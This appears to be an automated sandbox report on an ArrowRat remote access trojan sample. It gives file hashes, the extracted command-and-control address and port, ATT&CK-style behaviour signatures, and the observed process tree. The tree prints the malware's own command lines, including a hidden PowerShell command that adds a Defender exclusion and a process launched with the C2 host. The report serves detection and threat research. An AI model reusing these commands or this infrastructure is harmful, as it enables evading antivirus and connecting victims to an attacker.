Overview

overview

10

Static

static

10

0a53456ad2...35.exe

windows7-x64

10

0a53456ad2...35.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    135s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 11:28

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General

  • Target

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe

  • Size

    158KB

  • MD5

    d0a55dda2e691dbb7eedcd02cc7eaffa

  • SHA1

    37433d28c8f89e0f3b63e145d592e86e9da9b22f

  • SHA256

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

  • SHA512

    de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a

  • SSDEEP

    3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Score
10/10
arrowratclientdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe
    "C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4656
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4112
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4396
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\yoRyHvHxC\qQDhvzMlM.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4076
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1184
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3696

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133716508989315830.txt
    Filesize

    75KB

    MD5

    e5a0e9c75cac917e932b423a2950a686

    SHA1

    b6535c0dde63f0ab3df4650b36f437c8110867b0

    SHA256

    ee06e29c67aea986ceef477f7d8ac3b8a127f52c4bdd2a1e693f3ce58f61fe63

    SHA512

    66069eb48aa3f9b9dee5636559a1d1025a46f7a5add95d5f7abb4c42623d8fdb81edefbfb01ad2603b2543b5c507be6a77f64dc7cfb004ad8fdd99c916bdd7b0

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_inhskbvh.40u.psm1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/1944-13-0x00007FF873D40000-0x00007FF874801000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1944-1-0x000001A01FA30000-0x000001A01FA5E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/1944-210-0x00007FF873D40000-0x00007FF874801000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1944-182-0x00007FF873D43000-0x00007FF873D45000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1944-0-0x00007FF873D43000-0x00007FF873D45000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3696-57-0x000002629D750000-0x000002629D770000-memory.dmp

    Filesize

    128KB

    Download

  • memory/3696-30-0x000002629C100000-0x000002629C200000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/3696-31-0x000002629C100000-0x000002629C200000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/3696-35-0x000002629D180000-0x000002629D1A0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/3696-46-0x000002629D140000-0x000002629D160000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4076-25-0x0000016B9A550000-0x0000016B9A572000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4112-10-0x00000000062D0000-0x0000000006320000-memory.dmp

    Filesize

    320KB

    Download

  • memory/4112-7-0x00000000059E0000-0x0000000005A46000-memory.dmp

    Filesize

    408KB

    Download

  • memory/4112-6-0x0000000005C20000-0x00000000061C4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/4112-5-0x0000000005290000-0x000000000532C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/4112-4-0x00000000051F0000-0x0000000005282000-memory.dmp

    Filesize

    584KB

    Download

  • memory/4112-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/4656-28-0x0000000002F60000-0x0000000002F61000-memory.dmp

    Filesize

    4KB

    Download